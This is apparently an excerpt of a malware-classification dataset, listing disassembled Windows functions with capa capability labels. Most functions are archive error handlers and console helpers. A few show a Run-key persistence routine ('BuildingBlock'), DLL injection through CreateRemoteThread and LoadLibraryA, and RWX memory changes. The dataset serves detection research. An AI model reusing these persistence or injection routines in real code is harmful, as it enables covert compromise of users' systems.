joyce8/EMBER2024-capa huggingface dataset:
Function at 0x427c12
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x48e00c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 0x20]
push edi
push dword [ebp + 0x24]
mov dword [ebp - 0x24], eax
mov edi, ecx
mov eax, dword [ebp + 0x10]
push esi
push dword [ebp + 0x1c]
mov dword [ebp - 0x2c], eax
push dword [ebp + 0x18]
mov eax, dword [ebp + 0x14]
push eax
mov dword [ebp - 0x28], ebx
call fcn.00427b66
lea eax, [ebx + 8]
push eax
call fcn.00436cf5
mov edx, dword [ebp - 0x24]
mov ebx, eax
mov eax, dword [edi]
and dword [ebp - 0xc], 0
and dword [ebp - 8], 0
pop ecx
mov dword [ebp - 0x20], eax
xor ecx, ecx
lea eax, [ebp - 0x20]
mov dword [ebp - 0x1c], esi
mov esi, dword [ebp - 0x28]
inc ecx
push eax
push 0x414924
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x10], esi
mov dword [ebp - 0x14], esi
call fcn.00414103
pop ecx
pop ecx
test eax, eax
js 0x427c97
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x14]
cmp eax, 0xfffffffe
jne 0x427cae
cmp dword [0x48fd28], 0
je 0x427d73
jmp 0x427d67
cdq
cmp eax, esi
jne 0x427d40
cmp edx, dword [ebp - 0x2c]
jne 0x427d40
push dword [edi]
call fcn.00436cda
pop ecx
lea eax, [esi + ebx]
mov dword [edi], ebx
push 0xffffffffffffffff
mov edx, esi
mov dword [edi + 8], ebx
mov ecx, ebx
mov dword [edi + 4], eax
call fcn.00414f89
not eax
pop ecx
cmp eax, dword [ebp + 0x28]
je 0x427d2d
cmp dword [0x48fd28], 0
jne 0x427d67
mov esi, 0x40000
mov ecx, esi
call fcn.00412734
mov ecx, esi
mov edi, eax
call fcn.00412734
mov esi, eax
push str.ERROR:_archive_structure_corrupted__control_block_failed_CRC_check_
push edi
call fcn.0040d1ac
mov edx, esi
mov ecx, edi
call fcn.004130ba
push esi
push 0x484838
call fcn.00412708
add esp, 0x10
jmp 0x427db1
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0042a75e
leave
ret 0x24
cmp dword [0x48fd28], 0
jne 0x427d67
mov esi, 0x40000
mov ecx, esi
call fcn.00412734
mov ecx, esi
mov edi, eax
call fcn.00412734
mov esi, eax
push str.ERROR:_archive_structure_corrupted__decompression_of_control_block_failed_
jmp 0x427d0b
push 1
push 0x48fce8
call fcn.0042c115
mov esi, 0x40000
mov ecx, esi
call fcn.00412734
mov ecx, esi
mov edi, eax
call fcn.00412734
push dword [ebp - 0x24]
mov esi, eax
push str.ERROR:_unsupported_compression_method___s_
push edi
call fcn.0040d1ac
add esp, 0xc
mov edx, esi
mov ecx, edi
call fcn.004130ba
push esi
push 0x484838
call fcn.00412708
pop ecx
pop ecx
push 2
call fcn.004370bd
int3
Function at 0x427db9
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
push dword [ebp + 0x18]
mov edi, dword [ebp + 0x14]
mov ebx, ecx
push edi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00427b66
add dword [ebx + 4], 0xfffffffc
lea edx, [edi - 4]
mov eax, dword [ebx + 4]
mov ecx, dword [ebx]
push 0xffffffffffffffff
mov esi, dword [eax]
call fcn.00414f89
not eax
pop ecx
cmp eax, esi
je 0x427dfd
cmp dword [0x48fd28], 0
je 0x427e12
jmp 0x427e06
pop edi
pop esi
mov eax, ebx
pop ebx
pop ebp
ret 0x14
push 1
push 0x48fce8
call fcn.0042c115
mov esi, 0x40000
mov ecx, esi
call fcn.00412734
mov ecx, esi
mov edi, eax
call fcn.00412734
push str.ERROR:_archive_structure_corrupted__descriptor_failed_CRC_check_
push edi
mov esi, eax
call fcn.0040d1ac
mov edx, esi
mov ecx, edi
call fcn.004130ba
push esi
push 0x484838
call fcn.00412708
add esp, 0x10
push 2
call fcn.004370bd
int3

Function at 0x427e53
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
add dword [ecx + 8], eax
mov eax, dword [ecx + 8]
push esi
push edi
cmp eax, dword [ecx + 4]
jbe 0x427e71
cmp dword [0x48fd28], 0
je 0x427e83
jmp 0x427e77
pop edi
pop esi
pop ebp
ret 4
push 1
push 0x48fce8
call fcn.0042c115
mov esi, 0x40000
mov ecx, esi
call fcn.00412734
mov ecx, esi
mov edi, eax
call fcn.00412734
push str.ERROR:_archive_structure_corrupted__bad_data_
push edi
mov esi, eax
call fcn.0040d1ac
mov edx, esi
mov ecx, edi
call fcn.004130ba
push esi
push 0x484838
call fcn.00412708
add esp, 0x10
push 2
call fcn.004370bd
int3

Function at 0x427fd8
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
push edi
mov edi, dword [esi + 8]
mov eax, dword [esi + 4]
sub eax, edi
push eax
push 0
push edi
call fcn.0042b7c0
mov ecx, eax
add esp, 0xc
test ecx, ecx
jne 0x428003
cmp dword [0x48fd28], eax
je 0x428022
jmp 0x428016
mov eax, dword [ebp + 8]
mov dword [eax], edi
lea eax, [ecx + 1]
mov dword [esi + 8], eax
mov eax, esi
pop edi
pop esi
pop ebp
ret 4
push 1
push 0x48fce8
call fcn.0042c115
mov esi, 0x40000
mov ecx, esi
call fcn.00412734
mov ecx, esi
mov edi, eax
call fcn.00412734
push str.ERROR:_archive_structure_corrupted__bad_string_
push edi
mov esi, eax
call fcn.0040d1ac
mov edx, esi
mov ecx, edi
call fcn.004130ba
push esi
push 0x484838
call fcn.00412708
add esp, 0x10
push 2
call fcn.004370bd
int3
Function at 0x428063
Capabilities:
Terminate process

Disassembly:
push 8
mov eax, 0x44ab9a
call fcn.00449536
mov edi, ecx
mov dword [ebp - 0x10], edi
and dword [edi + 0x28], 0
mov eax, dword [ebp + 8]
and dword [ebp - 4], 0
push dword [eax + 8]
call fcn.0042e7b0
mov ebx, dword [ebp + 0xc]
mov esi, dword [ebp + 0x10]
pop ecx
mov ecx, eax
mov eax, 0x1000
sub ecx, ebx
sbb edx, esi
test edx, edx
jg 0x4280b5
jl 0x4280a3
cmp ecx, eax
jae 0x4280b5
mov eax, dword [ebp + 8]
push dword [eax + 8]
call fcn.0042e7b0
sub eax, ebx
pop ecx
sbb edx, esi
jmp 0x4280b7
xor edx, edx
push edx
push eax
push esi
push ebx
push dword [ebp + 8]
lea ecx, [edi + 0x28]
call fcn.00427db9
lea ecx, [edi + 0x28]
mov eax, dword [ecx + 8]
push 4
mov esi, dword [eax]
call fcn.00427e53
lea ecx, [edi + 0x28]
call fcn.00427ec4
mov dword [edi], eax
lea ecx, [edi + 0x28]
lea eax, [edi + 4]
push eax
call fcn.00427fd8
lea ecx, [edi + 0x28]
call fcn.00427ec4
lea ecx, [edi + 0x28]
mov dword [edi + 0x10], eax
mov dword [edi + 0x14], edx
call fcn.00427ec4
mov dword [edi + 0x18], eax
lea ecx, [edi + 0x28]
mov dword [edi + 0x1c], edx
mov eax, dword [ecx + 8]
push 4
mov eax, dword [eax]
mov dword [edi + 0x20], eax
call fcn.00427e53
cmp esi, 0x1437241
jne 0x428160
cmp dword [edi + 0x14], 0
jl 0x428160
jg 0x42812f
cmp dword [edi + 0x10], 0
jbe 0x428160
mov edx, dword [edi + 0x1c]
mov ecx, dword [edi + 0x18]
test edx, edx
jl 0x428160
jg 0x42813f
test ecx, ecx
je 0x428160
mov eax, dword [ebp + 0x10]
cmp edx, eax
jg 0x428160
jl 0x42814c
cmp ecx, ebx
ja 0x428160
sub ebx, ecx
mov dword [edi + 8], ebx
sbb eax, edx
mov dword [edi + 0xc], eax
mov eax, edi
call fcn.00449513
ret 0xc
cmp dword [0x48fd28], 0
jne 0x4281a9
mov esi, 0x40000
mov ecx, esi
call fcn.00412734
mov ecx, esi
mov edi, eax
call fcn.00412734
push str.ERROR:_archive_structure_corrupted__strange_descriptor_
push edi
mov esi, eax
call fcn.0040d1ac
mov edx, esi
mov ecx, edi
call fcn.004130ba
push esi
push 0x484838
call fcn.00412708
add esp, 0x10
push 2
call fcn.004370bd
push 1
push 0x48fce8
call fcn.0042c115
int3

Function at 0x4281b6
Capabilities:
Terminate process

Disassembly:
push 8
mov eax, 0x44abc4
call fcn.00449536
mov esi, ecx
mov dword [ebp - 0x10], esi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00428063
and dword [ebp - 4], 0
cmp dword [esi], 4
je 0x4281e9
cmp dword [0x48fd28], 0
je 0x4281ff
jmp 0x4281f3
mov eax, esi
call fcn.00449513
ret 0xc
push 1
push 0x48fce8
call fcn.0042c115
mov esi, 0x40000
mov ecx, esi
call fcn.00412734
mov ecx, esi
mov edi, eax
call fcn.00412734
push str.ERROR:_archive_structure_corrupted__footer_block_not_found_
push edi
mov esi, eax
call fcn.0040d1ac
mov edx, esi
mov ecx, edi
call fcn.004130ba
push esi
push 0x484838
call fcn.00412708
add esp, 0x10
push 2
call fcn.004370bd
int3
Function at 0x428281
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1014
call fcn.004497e0
mov eax, dword [0x48e00c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov eax, ecx
push esi
push edi
mov dword [ebp - 0x100c], eax
push dword [eax + 8]
call fcn.0042e7b0
mov ebx, eax
xor edi, edi
mov eax, edx
mov esi, 0x1000
mov dword [ebp - 0x1010], eax
pop ecx
cmp eax, edi
jg 0x4282cb
jl 0x4282c7
cmp ebx, esi
jae 0x4282cb
mov esi, ebx
mov edi, eax
mov ecx, dword [ebp - 0x100c]
mov edx, ebx
sub edx, esi
sbb eax, edi
push eax
push edx
call fcn.00427895
mov ecx, dword [ebp - 0x100c]
lea eax, [ebp - 0x1008]
push edi
push esi
push eax
call fcn.0042798e
lea eax, [ebp + esi - 0x100c]
mov edx, 0x1437241
jmp 0x42830b
lea ecx, [ebp - 0x1008]
cmp eax, ecx
jbe 0x428333
dec eax
cmp dword [eax], edx
jne 0x428300
lea ecx, [ebp - 0x1008]
sub eax, ecx
mov ecx, dword [ebp - 4]
cdq
sub eax, esi
sbb edx, edi
add eax, ebx
pop edi
adc edx, dword [ebp - 0x1010]
xor ecx, ebp
pop esi
pop ebx
call fcn.0042a75e
leave
ret
cmp dword [0x48fd28], 0
jne 0x42837c
mov esi, 0x40000
mov ecx, esi
call fcn.00412734
mov ecx, esi
mov edi, eax
call fcn.00412734
push str.ERROR:_this_is_not_FreeArc_archive_or_this_archive_is_corrupt
push edi
mov esi, eax
call fcn.0040d1ac
mov edx, esi
mov ecx, edi
call fcn.004130ba
push esi
push 0x484838
call fcn.00412708
add esp, 0x10
push 2
call fcn.004370bd
push 1
push 0x48fce8
call fcn.0042c115
int3
Function at 0x428ec2
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, ecx
push esi
push edi
mov esi, dword [ebx]
cmp dword [esi + 0x40068], 0
jne 0x428eda
xor al, al
jmp 0x428f55
cmp dword [ebx + 0x70], 0
je 0x428f45
mov edx, dword [ebx + 0x6c]
mov eax, edx
mov edi, dword [ebx + 0x68]
shl eax, 2
mov dword [ebp - 4], eax
mov esi, eax
mov ecx, dword [edi + 0x64]
mov eax, dword [ebx + 0x400d8]
not eax
cmp eax, dword [esi + ecx]
mov esi, dword [ebx]
je 0x428f0d
cmp dword [0x48fd28], 0
je 0x428f66
jmp 0x428f5a
cmp byte [esi], 0x74
mov ecx, edi
je 0x428f2e
mov eax, dword [edi + 0x58]
mov esi, dword [ebp - 4]
cmp dword [esi + eax], 0
jne 0x428f2e
lea ecx, [ebx + 0x78]
call fcn.004127a0
mov ecx, dword [ebx + 0x68]
mov edx, dword [ebx + 0x6c]
mov eax, dword [ecx + 0x4c]
mov ecx, dword [ebx + 0x84]
push dword [eax + edx*8 + 4]
push dword [eax + edx*8]
call fcn.004131ed
pop ecx
pop ecx
mov eax, dword [ebx]
and dword [ebx + 0x70], 0
cmp dword [eax + 0x40068], 0
setne al
pop edi
pop esi
pop ebx
leave
ret
push 1
push 0x48fce8
call fcn.0042c115
mov esi, 0x40000
mov ecx, esi
call fcn.00412734
mov ecx, esi
mov edi, eax
call fcn.00412734
push dword [ebx + 0x88]
mov esi, eax
push str.ERROR:_file__s_failed_CRC_check
push edi
call fcn.0040d1ac
add esp, 0xc
mov edx, esi
mov ecx, edi
call fcn.004130ba
push esi
push 0x484838
call fcn.00412708
pop ecx
pop ecx
push 2
call fcn.004370bd
int3
Function at 0x4298e9
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
mov edx, dword [ebp + 0xc]
push ebx
push esi
mov esi, ecx
imul ebx, edx, 0x28
push edi
mov edi, dword [ebp + 8]
mov dword [esi + 0x68], edi
add ebx, dword [edi + 0x80]
or dword [esi + 0x74], 0xffffffff
test edx, edx
jle 0x429915
mov eax, dword [edi + 0x74]
mov ecx, dword [eax + edx*4 - 4]
jmp 0x429917
xor ecx, ecx
mov dword [esi + 0x6c], ecx
mov eax, dword [edi + 0x74]
cmp ecx, dword [eax + edx*4]
jge 0x429a71
push ecx
mov ecx, dword [esi]
push edi
call fcn.00428bcf
test eax, eax
je 0x429969
mov eax, dword [esi + 0x68]
mov edx, dword [esi + 0x6c]
mov ecx, dword [eax + 0x40]
mov eax, dword [ecx + edx*8]
or eax, dword [ecx + edx*8 + 4]
jne 0x429966
push eax
mov ecx, esi
call fcn.00428ca6
test al, al
je 0x429a71
mov ecx, esi
call fcn.00428ec2
test al, al
je 0x429a71
jmp 0x429969
mov dword [esi + 0x74], edx
mov ecx, dword [esi + 0x6c]
mov edx, dword [ebp + 0xc]
inc ecx
mov dword [esi + 0x6c], ecx
mov eax, dword [edi + 0x74]
cmp ecx, dword [eax + edx*4]
jl 0x429926
cmp dword [esi + 0x74], 0
jl 0x429a71
mov ecx, dword [edi]
mov dword [esi + 0x58], ecx
mov eax, dword [ebx + 0xc]
mov edx, dword [ebx + 8]
push eax
push edx
mov dword [esi + 0x400d0], edx
mov dword [esi + 0x400d4], eax
call fcn.00427895
mov ecx, dword [ebx + 0x1c]
mov eax, dword [ebx + 0x18]
mov dword [esi + 0x64], ecx
mov ecx, dword [ebp + 0xc]
mov dword [esi + 0x60], eax
test ecx, ecx
jle 0x4299bf
mov eax, dword [edi + 0x74]
mov eax, dword [eax + ecx*4 - 4]
jmp 0x4299c1
xor eax, eax
push 1
mov ecx, esi
mov dword [esi + 0x6c], eax
call fcn.00428ca6
test al, al
je 0x429a71
mov edx, dword [esi]
mov ecx, dword [ebx + 4]
call fcn.0042920b
mov edi, eax
mov edx, edi
test edi, edi
jne 0x4299ea
mov edx, dword [ebx + 4]
xor ecx, ecx
push esi
push 0x4298d3
inc ecx
call fcn.00414103
pop ecx
pop ecx
cmp eax, 0xfffffffe
jne 0x429a0d
cmp dword [0x48fd28], 0
je 0x429a79
jmp 0x429abe
test eax, eax
jns 0x429a5e
cmp eax, 0xfffffff7
je 0x429a5e
cmp dword [0x48fd28], 0
jne 0x429abe
mov esi, 0x40000
mov ecx, esi
call fcn.00412734
mov ecx, esi
mov edi, eax
call fcn.00412734
push str.ERROR:_archive_data_corrupted__decompression_fails_
push edi
mov esi, eax
call fcn.0040d1ac
mov edx, esi
mov ecx, edi
call fcn.004130ba
push esi
push 0x484838
call fcn.00412708
add esp, 0x10
jmp 0x429ab7
cmp edi, dword [ebx + 4]
je 0x429a6a
push edi
call fcn.00436cda
pop ecx
mov ecx, esi
call fcn.00428ec2
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 8
mov esi, 0x40000
mov ecx, esi
call fcn.00412734
mov ecx, esi
mov edi, eax
call fcn.00412734
push dword [ebx + 4]
mov esi, eax
push str.ERROR:_unsupported_compression_method__s
push edi
call fcn.0040d1ac
add esp, 0xc
mov edx, esi
mov ecx, edi
call fcn.004130ba
push esi
push 0x484838
call fcn.00412708
pop ecx
pop ecx
push 2
call fcn.004370bd
push 1
push 0x48fce8
call fcn.0042c115
int3
Function at 0x442811
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00442687
Function at 0x402607
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
lea eax, [ebp - 0x2c]
mov dword [esp], eax
call sym._GetSystemInfo_4
sub esp, 4
mov eax, dword [ebp - 0x14]
cmp eax, 0x182
je 0x402639
mov eax, dword [ebp - 0x14]
cmp eax, 0x1e6
je 0x402639
mov eax, dword [ebp - 0x14]
cmp eax, 0x24a
jne 0x402640
mov eax, 1
jmp 0x402645
mov eax, 0
leave
ret

Function at 0x402647
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
push edi
sub esp, 0x444
lea eax, [ebp - 0x418]
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], str.BuildingBlock.exe
mov dword [ebp - 0x14], str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [ebp - 0x18], str.BuildingBlock
mov dword [esp + 8], 0x400
lea eax, [ebp - 0x418]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
jmp 0x402696
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax]
test al, al
jne 0x402692
jmp 0x4026a6
sub dword [ebp - 0xc], 1
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax]
cmp al, 0x5c
jne 0x4026a2
mov eax, dword [ebp - 0xc]
mov byte [eax], 0
lea eax, [ebp - 0x418]
mov ecx, 0xffffffff
mov edx, eax
mov eax, 0
mov edi, edx
repne scasb al, byte es:[edi]
mov eax, ecx
not eax
lea edx, [eax - 1]
lea eax, [ebp - 0x418]
add eax, edx
mov word [eax], 0x5c
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
lea eax, [ebp - 0x418]
mov dword [esp], eax
call sym._strcat
mov dword [ebp - 0x41c], 0
lea eax, [ebp - 0x41c]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
mov dword [esp], 0x80000001
call sym._RegOpenKeyA_12
sub esp, 0xc
lea eax, [ebp - 0x418]
mov dword [esp], eax
call sym._strlen
lea edx, [eax + 1]
mov eax, dword [ebp - 0x41c]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x418]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 7
mov edx, dword [ebp - 0x18]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
mov eax, dword [ebp - 0x41c]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
nop
mov edi, dword [ebp - 4]
leave
ret
Function at 0x4027e7
Capabilities:
Create thread
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], sym._LoadLibraryA_4
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x14], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret

Function at 0x4028e0
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._GetFileSize_8
sub esp, 8
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._malloc
mov dword [ebp + 0xc], eax
cmp dword [ebp + 0xc], 0
jne 0x402926
mov dword [esp], str.malloc_failed
call sym._puts
mov eax, 0
jmp 0x40296f
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x10]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._ReadFile_20
sub esp, 0x14
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0xc], eax
je 0x40296c
mov dword [esp], str.ReadFile_failed
call sym._puts
mov eax, 0
jmp 0x40296f
mov eax, dword [ebp - 0xc]
leave
ret
Function at 0x4032a0
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x40a044
call sym._EnterCriticalSection_4
mov ebx, dword [0x40a03c]
sub esp, 4
test ebx, ebx
je 0x4032eb
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x4032e4
test esi, esi
je 0x4032e4
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x4032c0
mov dword [esp], 0x40a044
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x4034d0
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x403520
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x4035f8
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x40355e
cmp eax, 4
jne 0x403580
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x40356e
cmp edx, 4
je 0x40356e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.004034d0
Function at 0x4ad01550
Capabilities:
Get common file path

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xc
cmp word [ebp + 0xc], 0
mov eax, dword [0x4ad33b78]
push esi
mov esi, dword [ebp + 8]
mov dword [ebp - 4], eax
jne 0x4ad09d22
push esi
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
xor eax, eax
mov ecx, dword [ebp - 4]
pop esi
call fcn.4ad01305
leave
ret 8
push edi
push dword [ebp + 0xc]
mov edi, dword [sym.imp.msvcrt.dll_towupper]
mov word [ebp - 0xc], 0x3d
call edi
and word [ebp - 6], 0
mov word [ebp - 0xa], ax
pop ecx
lea eax, [ebp - 0xc]
push eax
mov word [ebp - 8], 0x3a
call fcn.4ad01b70
test eax, eax
je 0x4ad17491
test esi, esi
je 0x4ad09d63
push eax
push esi
call dword [sym.imp.msvcrt.dll_wcscpy]
pop ecx
pop ecx
xor eax, eax
pop edi
jmp 0x4ad0157d

Function at 0x4ad01a26
Capabilities:
Set console window title

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push edi
xor edi, edi
cmp dword [ebp + 8], edi
je 0x4ad01a49
cmp dword [0x4ad2fac4], edi
jne 0x4ad01a49
cmp dword [0x4ad2fabc], edi
je 0x4ad0f384
pop edi
leave
ret 4
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0x20c
push edi
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
cmp ebx, edi
mov dword [ebp - 8], ebx
je 0x4ad0f435
push 0x104
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleTitleW]
cmp eax, edi
mov dword [ebp - 4], eax
je 0x4ad0f435
push dword [ebp + 8]
mov edi, dword [sym.imp.msvcrt.dll_wcslen]
call edi
pop ecx
mov ecx, dword [0x4ad33af8]
add ecx, eax
add ecx, dword [ebp - 4]
lea eax, [ecx + ecx + 0x14]
push eax
push ebx
push 0
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov ebx, eax
test ebx, ebx
je 0x4ad17123
cmp byte [0x4ad33afc], 0
jne 0x4ad1712b
push 0x4ad0f43c
push ebx
call dword [sym.imp.msvcrt.dll_wcscat]
push ebx
call edi
push dword [ebp + 8]
mov dword [0x4ad33af8], eax
push ebx
call dword [sym.imp.msvcrt.dll_wcscat]
add esp, 0x14
mov byte [0x4ad33afc], 1
push ebx
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
push ebx
push 0
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop esi
pop ebx
jmp 0x4ad01a49